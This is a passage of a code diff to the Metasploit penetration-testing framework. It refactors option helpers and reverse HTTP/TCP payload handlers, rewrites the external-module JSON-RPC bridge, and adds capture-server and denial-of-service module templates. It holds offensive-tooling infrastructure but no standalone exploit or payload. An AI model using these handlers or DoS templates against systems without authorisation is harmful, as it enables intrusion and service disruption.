"#{uri_scheme}://#{rhost}#{uri_port}#{uri}"
|
||||
if Rex::Socket.is_ipv6?(rhost)
|
||||
uri_host = "[#{rhost}]"
|
||||
else
|
||||
uri_host = rhost
|
||||
end
|
||||
|
||||
"#{uri_scheme}://#{uri_host}#{uri_port}#{uri}"
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -111,7 +111,7 @@ module Exploit::Remote::SMTPDeliver
|
||||
unless res[0..2] == '235'
|
||||
print_error("Authentication failed, quitting")
|
||||
disconnect(nsock)
|
||||
raise RuntimeError.new 'Could not authenticate to SMTP server'
|
||||
raise 'Could not authenticate to SMTP server'
|
||||
end
|
||||
else
|
||||
print_status("Server requested auth and no creds given, trying to continue anyway")
|
||||
@ -126,7 +126,7 @@ module Exploit::Remote::SMTPDeliver
|
||||
unless res[0..2] == '235'
|
||||
print_error("Authentication failed, quitting")
|
||||
disconnect(nsock)
|
||||
raise RuntimeError.new 'Could not authenticate to SMTP server'
|
||||
raise 'Could not authenticate to SMTP server'
|
||||
end
|
||||
else
|
||||
print_status("Server requested auth and no creds given, trying to continue anyway")
|
||||
|
@ -222,7 +222,16 @@ protected
|
||||
s.set_from_exploit(assoc_exploit)
|
||||
|
||||
# Pass along any associated payload uuid if specified
|
||||
s.payload_uuid = opts[:payload_uuid] if opts[:payload_uuid]
|
||||
if opts[:payload_uuid]
|
||||
s.payload_uuid = opts[:payload_uuid]
|
||||
if s.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[s.payload_uuid.puid_hex])
|
||||
s.payload_uuid.registered = true
|
||||
s.payload_uuid.name = uuid_info['name']
|
||||
s.payload_uuid.timestamp = uuid_info['timestamp']
|
||||
else
|
||||
s.payload_uuid.registered = false
|
||||
end
|
||||
end
|
||||
|
||||
# If the session is valid, register it with the framework and
|
||||
# notify any waiters we may have.
|
||||
|
@ -52,16 +52,38 @@ module ReverseHttp
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
|
||||
OptString.new('MeterpreterUserAgent', [false, 'The user-agent that the payload should use for communication', Rex::UserAgent.shortest]),
|
||||
OptString.new('MeterpreterServerName', [false, 'The server header that the handler will send in response to requests', 'Apache']),
|
||||
OptAddress.new('ReverseListenerBindAddress', [false, 'The specific IP address to bind to on the local system']),
|
||||
OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]),
|
||||
OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']),
|
||||
OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']),
|
||||
OptString.new('OverrideScheme', [false, 'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https']),
|
||||
OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>']),
|
||||
OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false])
|
||||
OptAddress.new('ReverseListenerBindAddress',
|
||||
'The specific IP address to bind to on the local system'
|
||||
),
|
||||
OptBool.new('OverrideRequestHost',
|
||||
'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT',
|
||||
),
|
||||
OptString.new('OverrideLHOST',
|
||||
'When OverrideRequestHost is set, use this value as the host name for secondary requests'
|
||||
),
|
||||
OptPort.new('OverrideLPORT',
|
||||
'When OverrideRequestHost is set, use this value as the port number for secondary requests'
|
||||
),
|
||||
OptString.new('OverrideScheme',
|
||||
'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https'
|
||||
),
|
||||
OptString.new('HttpUserAgent',
|
||||
'The user-agent that the payload should use for communication',
|
||||
default: Rex::UserAgent.shortest,
|
||||
aliases: ['MeterpreterUserAgent']
|
||||
),
|
||||
OptString.new('HttpServerName',
|
||||
'The server header that the handler will send in response to requests',
|
||||
default: 'Apache',
|
||||
aliases: ['MeterpreterServerName']
|
||||
),
|
||||
OptString.new('HttpUnknownRequestResponse',
|
||||
'The returned HTML response body when the handler receives a request that is not from a payload',
|
||||
default: '<html><body><h1>It works!</h1></body></html>'
|
||||
),
|
||||
OptBool.new('IgnoreUnknownPayloads',
|
||||
'Whether to drop connections from payloads using unknown UUIDs'
|
||||
)
|
||||
], Msf::Handler::ReverseHttp)
|
||||
end
|
||||
|
||||
@ -204,7 +226,7 @@ module ReverseHttp
|
||||
|
||||
raise ex if (ex)
|
||||
|
||||
self.service.server_name = datastore['MeterpreterServerName']
|
||||
self.service.server_name = datastore['HttpServerName']
|
||||
|
||||
# Add the new resource
|
||||
service.add_resource((luri + "/").gsub("//", "/"),
|
||||
@ -245,14 +267,14 @@ protected
|
||||
info = {}
|
||||
return @proxy_settings if @proxy_settings
|
||||
|
||||
if datastore['PayloadProxyHost'].to_s == ''
|
||||
if datastore['HttpProxyHost'].to_s == ''
|
||||
@proxy_settings = info
|
||||
return @proxy_settings
|
||||
end
|
||||
|
||||
info[:host] = datastore['PayloadProxyHost'].to_s
|
||||
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
|
||||
info[:type] = datastore['PayloadProxyType'].to_s
|
||||
info[:host] = datastore['HttpProxyHost'].to_s
|
||||
info[:port] = (datastore['HttpProxyPort'] || 8080).to_i
|
||||
info[:type] = datastore['HttpProxyType'].to_s
|
||||
|
||||
uri_host = info[:host]
|
||||
|
||||
@ -266,11 +288,11 @@ protected
|
||||
info[:info] = "socks=#{info[:info]}"
|
||||
else
|
||||
info[:info] = "http://#{info[:info]}"
|
||||
if datastore['PayloadProxyUser'].to_s != ''
|
||||
info[:username] = datastore['PayloadProxyUser'].to_s
|
||||
if datastore['HttpProxyUser'].to_s != ''
|
||||
info[:username] = datastore['HttpProxyUser'].to_s
|
||||
end
|
||||
if datastore['PayloadProxyPass'].to_s != ''
|
||||
info[:password] = datastore['PayloadProxyPass'].to_s
|
||||
if datastore['HttpProxyPass'].to_s != ''
|
||||
info[:password] = datastore['HttpProxyPass'].to_s
|
||||
end
|
||||
end
|
||||
|
||||
@ -347,8 +369,6 @@ protected
|
||||
blob = self.generate_stage(
|
||||
url: url,
|
||||
uuid: uuid,
|
||||
lhost: uri.host,
|
||||
lport: uri.port,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
|
@ -38,14 +38,11 @@ module ReverseHttpsProxy
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddressLocal.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
|
||||
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
|
||||
OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]),
|
||||
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]),
|
||||
OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]),
|
||||
OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]),
|
||||
OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"])
|
||||
], Msf::Handler::ReverseHttpsProxy)
|
||||
OptAddressLocal.new('LHOST', "The local listener hostname", default: "127.0.0.1"),
|
||||
OptPort.new('LPORT', "The local listener port", default: 8443)
|
||||
] +
|
||||
Msf::Opt::http_proxy_options,
|
||||
Msf::Handler::ReverseHttpsProxy)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
|
@ -45,15 +45,6 @@ module ReverseTcp
|
||||
# XXX: Not supported by all modules
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new(
|
||||
'StagerRetryCount',
|
||||
[ true, 'The number of connection attempts to try before exiting the process', 10 ],
|
||||
aliases: ['ReverseConnectRetries']
|
||||
),
|
||||
OptFloat.new(
|
||||
'StagerRetryWait',
|
||||
[ false, 'Number of seconds to wait for the stager between reconnect attempts', 5.0 ]
|
||||
),
|
||||
OptAddress.new(
|
||||
'ReverseListenerBindAddress',
|
||||
[ false, 'The specific IP address to bind to on the local system' ]
|
||||
@ -62,7 +53,8 @@ module ReverseTcp
|
||||
'ReverseListenerThreaded',
|
||||
[ true, 'Handle every connection in a new thread (experimental)', false ]
|
||||
)
|
||||
],
|
||||
] +
|
||||
Msf::Opt::stager_retry_options,
|
||||
Msf::Handler::ReverseTcp
|
||||
)
|
||||
|
||||
|
@ -1,23 +1,79 @@
|
||||
module Msf::Module::External
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def wait_status(mod)
|
||||
while mod.running
|
||||
m = mod.get_status
|
||||
if m
|
||||
case m['level']
|
||||
when 'error'
|
||||
print_error m['message']
|
||||
when 'warning'
|
||||
print_warning m['message']
|
||||
when 'good'
|
||||
print_good m['message']
|
||||
when 'info'
|
||||
print_status m['message']
|
||||
when 'debug'
|
||||
vprint_status m['message']
|
||||
else
|
||||
print_status m['message']
|
||||
begin
|
||||
while mod.running
|
||||
m = mod.get_status
|
||||
if m
|
||||
case m.method
|
||||
when :message
|
||||
log_output(m)
|
||||
when :report
|
||||
process_report(m)
|
||||
when :reply
|
||||
# we're done
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue Interrupt => e
|
||||
raise e
|
||||
rescue Exception => e
|
||||
elog e.backtrace.join("\n")
|
||||
fail_with Msf::Module::Failure::Unknown, e.message
|
||||
end
|
||||
end
|
||||
|
||||
def log_output(m)
|
||||
message = m.params['message']
|
||||
|
||||
case m.params['level']
|
||||
when 'error'
|
||||
print_error message
|
||||
when 'warning'
|
||||
print_warning message
|
||||
when 'good'
|
||||
print_good message
|
||||
when 'info'
|
||||
print_status message
|
||||
when 'debug'
|
||||
vprint_status message
|
||||
else
|
||||
print_status message
|
||||
end
|
||||
end
|
||||
|
||||
def process_report(m)
|
||||
data = m.params['data']
|
||||
|
||||
case m.params['type']
|
||||
when 'host'
|
||||
# Required
|
||||
host = {host: data['host']}
|
||||
|
||||
# Optional
|
||||
host[:state] = data['state'] if data['state'] # TODO: validate -- one of the Msf::HostState constants (unknown, alive, dead)
|
||||
host[:os_name] = data['os_name'] if data['os_name']
|
||||
host[:os_flavor] = data['os_flavor'] if data['os_flavor']
|
||||
host[:os_sp] = data['os_sp'] if data['os_sp']
|
||||
host[:os_lang] = data['os_lang'] if data['os_lang']
|
||||
host[:arch] = data['arch'] if data['arch'] # TODO: validate -- one of the ARCH_* constants
|
||||
host[:mac] = data['mac'] if data['mac']
|
||||
host[:scope] = data['scope'] if data['scope']
|
||||
host[:virtual_host] = data['virtual_host'] if data['virtual_host']
|
||||
|
||||
report_host(host)
|
||||
when 'service'
|
||||
# Required
|
||||
service = {host: data['host'], port: data['port'], proto: data['proto']}
|
||||
|
||||
# Optional
|
||||
service[:name] = data['name'] if data['name']
|
||||
|
||||
report_service(service)
|
||||
else
|
||||
print_warning "Skipping unrecognized report type #{m.params['type']}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -24,6 +24,10 @@ module Msf::Module::FullName
|
||||
type + '/' + refname
|
||||
end
|
||||
|
||||
def promptname
|
||||
refname
|
||||
end
|
||||
|
||||
def shortname
|
||||
refname.split('/').last
|
||||
end
|
||||
@ -55,9 +59,16 @@ module Msf::Module::FullName
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the module's framework short name. This is a
|
||||
# possibly conflicting name used for things like console
|
||||
# prompts.
|
||||
# Returns the module's framework prompt-friendly name.
|
||||
#
|
||||
# reverse_tcp
|
||||
#
|
||||
def promptname
|
||||
self.class.promptname
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the module's framework short name.
|
||||
#
|
||||
# reverse_tcp
|
||||
#
|
||||
|
@ -143,8 +143,7 @@ class Msf::Module::Platform
|
||||
|
||||
if (not mod.const_defined?('Names'))
|
||||
elog("Failed to instantiate the platform list for module #{mod}")
|
||||
raise RuntimeError.new("Failed to instantiate the platform list for module #{mod}")
|
||||
return nil
|
||||
raise "Failed to instantiate the platform list for module #{mod}"
|
||||
end
|
||||
|
||||
abbrev = mod.const_get('Abbrev')
|
||||
|
@ -116,8 +116,8 @@ module Msf::ModuleManager::Loading
|
||||
|
||||
loaders.each do |loader|
|
||||
if loader.loadable?(path)
|
||||
count_by_type.merge!(loader.load_modules(path, options)) do |key, old, new|
|
||||
old + new
|
||||
count_by_type.merge!(loader.load_modules(path, options)) do |key, prev, now|
|
||||
prev + now
|
||||
end
|
||||
end
|
||||
end
|
||||
|
109
lib/msf/core/modules/external/bridge.rb
vendored
109
lib/msf/core/modules/external/bridge.rb
vendored
@ -2,6 +2,7 @@
|
||||
require 'msf/core/modules/external'
|
||||
require 'msf/core/modules/external/message'
|
||||
require 'open3'
|
||||
require 'json'
|
||||
|
||||
class Msf::Modules::External::Bridge
|
||||
|
||||
@ -26,14 +27,13 @@ class Msf::Modules::External::Bridge
|
||||
|
||||
def get_status
|
||||
if self.running
|
||||
n = receive_notification
|
||||
if n && n['params']
|
||||
n['params']
|
||||
else
|
||||
m = receive_notification
|
||||
if m.nil?
|
||||
close_ios
|
||||
self.running = false
|
||||
n['response'] if n
|
||||
end
|
||||
|
||||
return m
|
||||
end
|
||||
end
|
||||
|
||||
@ -41,30 +41,35 @@ class Msf::Modules::External::Bridge
|
||||
self.env = {}
|
||||
self.running = false
|
||||
self.path = module_path
|
||||
self.cmd = [self.path, self.path]
|
||||
self.messages = Queue.new
|
||||
self.buf = ''
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :path, :running
|
||||
attr_accessor :env, :ios
|
||||
attr_accessor :cmd, :env, :ios, :buf, :messages, :wait_thread
|
||||
|
||||
def describe
|
||||
resp = send_receive(Msf::Modules::External::Message.new(:describe))
|
||||
close_ios
|
||||
resp['response']
|
||||
resp.params
|
||||
end
|
||||
|
||||
# XXX TODO non-blocking writes, check write lengths, non-blocking JSON parse loop read
|
||||
# XXX TODO non-blocking writes, check write lengths
|
||||
|
||||
def send_receive(message)
|
||||
send(message)
|
||||
read_json(message.id, self.ios[1])
|
||||
recv(message.id)
|
||||
end
|
||||
|
||||
def send(message)
|
||||
input, output, status = ::Open3.popen3(env, [self.path, self.path])
|
||||
self.ios = [input, output, status]
|
||||
case Rex::ThreadSafe.select(nil, [input], nil, 0.1)
|
||||
input, output, err, status = ::Open3.popen3(self.env, self.cmd)
|
||||
self.ios = [input, output, err]
|
||||
self.wait_thread = status
|
||||
# We would call Rex::Threadsafe directly, but that would require rex for standalone use
|
||||
case select(nil, [input], nil, 0.1)
|
||||
when nil
|
||||
raise "Cannot run module #{self.path}"
|
||||
when [[], [input], []]
|
||||
@ -76,12 +81,10 @@ class Msf::Modules::External::Bridge
|
||||
end
|
||||
|
||||
def receive_notification
|
||||
input, output, status = self.ios
|
||||
case Rex::ThreadSafe.select([output], nil, nil, 10)
|
||||
when nil
|
||||
nil
|
||||
when [[output], [], []]
|
||||
read_json(nil, output)
|
||||
if self.messages.empty?
|
||||
recv
|
||||
else
|
||||
self.messages.pop
|
||||
end
|
||||
end
|
||||
|
||||
@ -89,18 +92,76 @@ class Msf::Modules::External::Bridge
|
||||
fd.write(json)
|
||||
end
|
||||
|
||||
def read_json(id, fd)
|
||||
def recv(filter_id=nil, timeout=600)
|
||||
_, out, err = self.ios
|
||||
message = ''
|
||||
|
||||
# Multiple messages can come over the wire all at once, and since yajl
|
||||
# doesn't play nice with windows, we have to emulate a state machine to
|
||||
# read just enough off the wire to get one request at a time. Since
|
||||
# Windows cannot do a nonblocking read on a pipe, we are forced to do a
|
||||
# whole lot of `select` syscalls and keep a buffer ourselves :(
|
||||
begin
|
||||
resp = fd.readpartial(10_000)
|
||||
JSON.parse(resp)
|
||||
loop do
|
||||
# This is so we don't end up calling JSON.parse on every char and
|
||||
# catch an exception. Windows can't do nonblock on pipes, so we
|
||||
# still have to do the select if we are not at the end of object
|
||||
# and don't have any buffer left
|
||||
parts = self.buf.split '}', 2
|
||||
if parts.length == 2 # [part, rest]
|
||||
message << parts[0] << '}'
|
||||
self.buf = parts[1]
|
||||
break
|
||||
elsif parts.length == 1 # [part]
|
||||
if self.buf[-1] == '}'
|
||||
message << parts[0] << '}'
|
||||
self.buf = ''
|
||||
break
|
||||
else
|
||||
message << parts[0]
|
||||
self.buf = ''
|
||||
end
|
||||
end
|
||||
|
||||
# We would call Rex::Threadsafe directly, but that would require Rex for standalone use
|
||||
res = select([out, err], nil, nil, timeout)
|
||||
if res == nil
|
||||
# This is what we would have gotten without Rex and what `readpartial` can also raise
|
||||
raise EOFError.new
|
||||
else
|
||||
fds = res[0]
|
||||
# Preferentially drain and log stderr
|
||||
if fds.include? err
|
||||
errbuf = err.readpartial(4096)
|
||||
elog "Unexpected output running #{self.path}:\n#{errbuf}"
|
||||
end
|
||||
if fds.include? out
|
||||
self.buf << out.readpartial(4096)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
m = Msf::Modules::External::Message.from_module(JSON.parse(message))
|
||||
if filter_id && m.id != filter_id
|
||||
# We are filtering for a response to a particular message, but we got
|
||||
# something else, store the message and try again
|
||||
self.messages.push m
|
||||
read_json(filter_id, timeout)
|
||||
else
|
||||
# Either we weren't filtering, or we got what we were looking for
|
||||
m
|
||||
end
|
||||
rescue JSON::ParserError
|
||||
# Probably an incomplete response, but no way to really tell. Keep trying
|
||||
# until EOF
|
||||
retry
|
||||
rescue EOFError => e
|
||||
{}
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
def close_ios
|
||||
input, output, status = self.ios
|
||||
[input, output].each {|fd| fd.close rescue nil} # Yeah, yeah. I know.
|
||||
self.ios.each {|fd| fd.close rescue nil} # Yeah, yeah. I know.
|
||||
end
|
||||
end
|
||||
|
||||
|
20
lib/msf/core/modules/external/message.rb
vendored
20
lib/msf/core/modules/external/message.rb
vendored
@ -2,11 +2,25 @@
|
||||
require 'msf/core/modules/external'
|
||||
require 'base64'
|
||||
require 'json'
|
||||
require 'securerandom'
|
||||
|
||||
class Msf::Modules::External::Message
|
||||
|
||||
attr_reader :method, :id
|
||||
attr_accessor :params
|
||||
attr_reader :method
|
||||
attr_accessor :params, :id
|
||||
|
||||
def self.from_module(j)
|
||||
if j['method']
|
||||
m = self.new(j['method'].to_sym)
|
||||
m.params = j['params']
|
||||
m
|
||||
elsif j['response']
|
||||
m = self.new(:reply)
|
||||
m.params = j['response']
|
||||
m.id = j['id']
|
||||
m
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(m)
|
||||
self.method = m
|
||||
@ -20,5 +34,5 @@ class Msf::Modules::External::Message
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :method, :id
|
||||
attr_writer :method
|
||||
end
|
||||
|
@ -1,20 +1,37 @@
|
||||
import sys, os, json
|
||||
|
||||
def log(message, level='info'):
|
||||
print(json.dumps({'jsonrpc': '2.0', 'method': 'message', 'params': {
|
||||
rpc_send({'jsonrpc': '2.0', 'method': 'message', 'params': {
|
||||
'level': level,
|
||||
'message': message
|
||||
}}))
|
||||
sys.stdout.flush()
|
||||
}})
|
||||
|
||||
def run(metadata, exploit):
|
||||
def report_host(ip, opts={}):
|
||||
host = opts.copy()
|
||||
host.update({'host': ip})
|
||||
rpc_send({'jsonrpc': '2.0', 'method': 'report', 'params': {
|
||||
'type': 'host', 'data': host
|
||||
}})
|
||||
|
||||
def report_service(ip, opts={}):
|
||||
service = opts.copy()
|
||||
service.update({'host': ip})
|
||||
rpc_send({'jsonrpc': '2.0', 'method': 'report', 'params': {
|
||||
'type': 'service', 'data': service
|
||||
}})
|
||||
|
||||
|
||||
def run(metadata, module_callback):
|
||||
req = json.loads(os.read(0, 10000))
|
||||
if req['method'] == 'describe':
|
||||
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata}))
|
||||
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata})
|
||||
elif req['method'] == 'run':
|
||||
args = req['params']
|
||||
exploit(args)
|
||||
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': {
|
||||
'message': 'Exploit completed'
|
||||
}}))
|
||||
sys.stdout.flush()
|
||||
module_callback(args)
|
||||
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': {
|
||||
'message': 'Module completed'
|
||||
}})
|
||||
|
||||
def rpc_send(req):
|
||||
print(json.dumps(req))
|
||||
sys.stdout.flush()
|
||||
|
30
lib/msf/core/modules/external/shim.rb
vendored
30
lib/msf/core/modules/external/shim.rb
vendored
@ -9,6 +9,13 @@ class Msf::Modules::External::Shim
|
||||
case mod.meta['type']
|
||||
when 'remote_exploit_cmd_stager'
|
||||
remote_exploit_cmd_stager(mod)
|
||||
when 'capture_server'
|
||||
capture_server(mod)
|
||||
when 'dos'
|
||||
dos(mod)
|
||||
else
|
||||
# TODO have a nice load error show up in the logs
|
||||
''
|
||||
end
|
||||
end
|
||||
|
||||
@ -26,10 +33,6 @@ class Msf::Modules::External::Shim
|
||||
meta[:name] = mod.meta['name'].dump
|
||||
meta[:description] = mod.meta['description'].dump
|
||||
meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ")
|
||||
meta[:date] = mod.meta['date'].dump
|
||||
meta[:references] = mod.meta['references'].map do |r|
|
||||
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
|
||||
end.join(",\n ")
|
||||
|
||||
meta[:options] = mod.meta['options'].map do |n, o|
|
||||
"Opt#{o['type'].capitalize}.new(#{n.dump},
|
||||
@ -39,11 +42,15 @@ class Msf::Modules::External::Shim
|
||||
end
|
||||
|
||||
def self.mod_meta_exploit(mod, meta = {})
|
||||
meta[:date] = mod.meta['date'].dump
|
||||
meta[:wfsdelay] = mod.meta['wfsdelay'] || 5
|
||||
meta[:privileged] = mod.meta['privileged'].inspect
|
||||
meta[:platform] = mod.meta['targets'].map do |t|
|
||||
t['platform'].dump
|
||||
end.uniq.join(",\n ")
|
||||
meta[:references] = mod.meta['references'].map do |r|
|
||||
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
|
||||
end.join(",\n ")
|
||||
meta[:targets] = mod.meta['targets'].map do |t|
|
||||
"[#{t['platform'].dump} + ' ' + #{t['arch'].dump}, {'Arch' => ARCH_#{t['arch'].upcase}, 'Platform' => #{t['platform'].dump} }]"
|
||||
end.join(",\n ")
|
||||
@ -56,4 +63,19 @@ class Msf::Modules::External::Shim
|
||||
meta[:command_stager_flavor] = mod.meta['payload']['command_stager_flavor'].dump
|
||||
render_template('remote_exploit_cmd_stager.erb', meta)
|
||||
end
|
||||
|
||||
def self.capture_server(mod)
|
||||
meta = mod_meta_common(mod)
|
||||
render_template('capture_server.erb', meta)
|
||||
end
|
||||
|
||||
def self.dos(mod)
|
||||
meta = mod_meta_common(mod)
|
||||
meta[:date] = mod.meta['date'].dump
|
||||
meta[:references] = mod.meta['references'].map do |r|
|
||||
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
|
||||
end.join(",\n ")
|
||||
|
||||
render_template('dos.erb', meta)
|
||||
end
|
||||
end
|
||||
|
26
lib/msf/core/modules/external/templates/capture_server.erb
vendored
Normal file
26
lib/msf/core/modules/external/templates/capture_server.erb
vendored
Normal file
@ -0,0 +1,26 @@
|
||||
require 'msf/core/modules/external/bridge'
|
||||
require 'msf/core/module/external'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Module::External
|
||||
|
||||
def initialize
|
||||
super({
|
||||
<%= common_metadata meta %>
|
||||
'Actions' => [ ['Capture'] ],
|
||||
'PassiveActions' => ['Capture'],
|
||||
'DefaultAction' => 'Capture'
|
||||
})
|
||||
|
||||
register_options([
|
||||
<%= meta[:options] %>
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Starting server...")
|
||||
mod = Msf::Modules::External::Bridge.open(<%= meta[:path] %>)
|
||||
mod.run(datastore)
|
||||
wait_status(mod)
|
||||
end
|
||||
end
|
29
lib/msf/core/modules/external/templates/dos.erb
vendored
Normal file
29
lib/msf/core/modules/external/templates/dos.erb
vendored
Normal file
@ -0,0 +1,29 @@
|
||||
require 'msf/core/modules/external/bridge'
|
||||
require 'msf/core/module/external'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Module::External
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize
|
||||
super({
|
||||
<%= common_metadata meta %>
|
||||
'References' =>
|
||||
[
|
||||
<%= meta[:references] %>
|
||||
],
|
||||
'DisclosureDate' => <%= meta[:date] %>,
|
||||
})
|
||||
|
||||
register_options([
|
||||
<%= meta[:options] %>
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Starting server...")
|
||||
mod = Msf::Modules::External::Bridge.open(<%= meta[:path] %>)
|
||||
mod.run(datastore)
|
||||
wait_status(mod)
|
||||
end
|
||||
end
|
@ -1,7 +1,6 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
#
|
||||
# Builtin framework options with shortcut methods
|
||||
#
|
||||
@ -51,22 +50,62 @@ module Msf
|
||||
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# @return [OptEnum]
|
||||
def self.SSLVersion
|
||||
Msf::OptEnum.new('SSLVersion', [ false,
|
||||
'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)', 'Auto',
|
||||
['Auto', 'SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']])
|
||||
def self.ssl_supported_options
|
||||
@m ||= ['Auto', 'TLS'] + OpenSSL::SSL::SSLContext::METHODS \
|
||||
.select{|m| !m.to_s.include?('client') && !m.to_s.include?('server')} \
|
||||
.select{|m| OpenSSL::SSL::SSLContext.new(m) && true rescue false} \
|
||||
.map{|m| m.to_s.sub(/v/, '').sub('_', '.')}
|
||||
end
|
||||
|
||||
# These are unused but remain for historical reasons
|
||||
class << self
|
||||
alias builtin_chost CHOST
|
||||
alias builtin_cport CPORT
|
||||
alias builtin_lhost LHOST
|
||||
alias builtin_lport LPORT
|
||||
alias builtin_proxies Proxies
|
||||
alias builtin_rhost RHOST
|
||||
alias builtin_rport RPORT
|
||||
# @return [OptEnum]
|
||||
def self.SSLVersion
|
||||
Msf::OptEnum.new('SSLVersion',
|
||||
'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)',
|
||||
enums: self.ssl_supported_options
|
||||
)
|
||||
end
|
||||
|
||||
def self.stager_retry_options
|
||||
[
|
||||
OptInt.new('StagerRetryCount',
|
||||
'The number of times the stager should retry if the first connect fails',
|
||||
default: 10,
|
||||
aliases: ['ReverseConnectRetries']
|
||||
),
|
||||
OptInt.new('StagerRetryWait',
|
||||
'Number of seconds to wait for the stager between reconnect attempts',
|
||||
default: 5
|
||||
)
|
||||
]
|
||||
end
|
||||
|
||||
def self.http_proxy_options
|
||||
[
|
||||
OptString.new('HttpProxyHost', 'An optional proxy server IP address or hostname',
|
||||
aliases: ['PayloadProxyHost']
|
||||
),
|
||||
OptPort.new('HttpProxyPort', 'An optional proxy server port',
|
||||
aliases: ['PayloadProxyPort']
|
||||
),
|
||||
OptString.new('HttpProxyUser', 'An optional proxy server username',
|
||||
aliases: ['PayloadProxyUser']
|
||||
),
|
||||
OptString.new('HttpProxyPass', 'An optional proxy server password',
|
||||
aliases: ['PayloadProxyPass']
|
||||
),
|
||||
OptEnum.new('HttpProxyType', 'The type of HTTP proxy',
|
||||
enums: ['HTTP', 'SOCKS'],
|
||||
aliases: ['PayloadProxyType']
|
||||
)
|
||||
]
|
||||
end
|
||||
|
||||
def self.http_header_options
|
||||
[
|
||||
OptString.new('HttpHostHeader', 'An optional value to use for the Host HTTP header'),
|
||||
OptString.new('HttpCookie', 'An optional value to use for the Cookie HTTP header'),
|
||||
OptString.new('HttpReferer', 'An optional value to use for the Referer HTTP header')
|
||||
]
|
||||
end
|
||||
|
||||
CHOST = CHOST()
|
||||
@ -78,5 +117,4 @@ module Msf
|
||||
RPORT = RPORT()
|
||||
SSLVersion = SSLVersion()
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -22,15 +22,39 @@ module Msf
|
||||
# attrs[3] = possible enum values
|
||||
# attrs[4] = Regex to validate the option
|
||||
#
|
||||
def initialize(in_name, attrs = [], aliases: [])
|
||||
# Attrs can also be specified explicitly via named parameters, or attrs can
|
||||
# also be a string as standin for the required description field.
|
||||
#
|
||||
def initialize(in_name, attrs = [],
|
||||
required: false, desc: nil, default: nil, enums: [], regex: nil, aliases: [])
|
||||
self.name = in_name
|
||||
self.advanced = false
|
||||
self.evasion = false
|
||||
self.required = attrs[0] || false
|
||||
self.desc = attrs[1]
|
||||
self.default = attrs[2]
|
||||
self.enums = [ *(attrs[3]) ].map { |x| x.to_s }
|
||||
regex_temp = attrs[4] || nil
|
||||
self.aliases = aliases
|
||||
|
||||
if attrs.is_a?(String) || attrs.length == 0
|
||||
self.required = required
|
||||
self.desc = attrs.is_a?(String) ? attrs : desc
|
||||
self.enums = [ *(enums) ].map { |x| x.to_s }
|
||||
if default.nil? && enums.length > 0
|
||||
self.default = enums[0]
|
||||
else
|
||||
self.default = default
|
||||
end
|
||||
regex_temp = regex
|
||||
else
|
||||
if attrs[0].nil?
|
||||
self.required = required
|
||||
else
|
||||
self.required = attrs[0]
|
||||
end
|
||||
self.desc = attrs[1] || desc
|
||||
self.default = attrs[2] || default
|
||||
self.enums = attrs[3] || enums
|
||||
self.enums = [ *(self.enums) ].map { |x| x.to_s }
|
||||
regex_temp = attrs[4] || regex
|
||||
end
|
||||
|
||||
if regex_temp
|
||||
# convert to string
|
||||
regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp
|
||||
@ -45,35 +69,34 @@ module Msf
|
||||
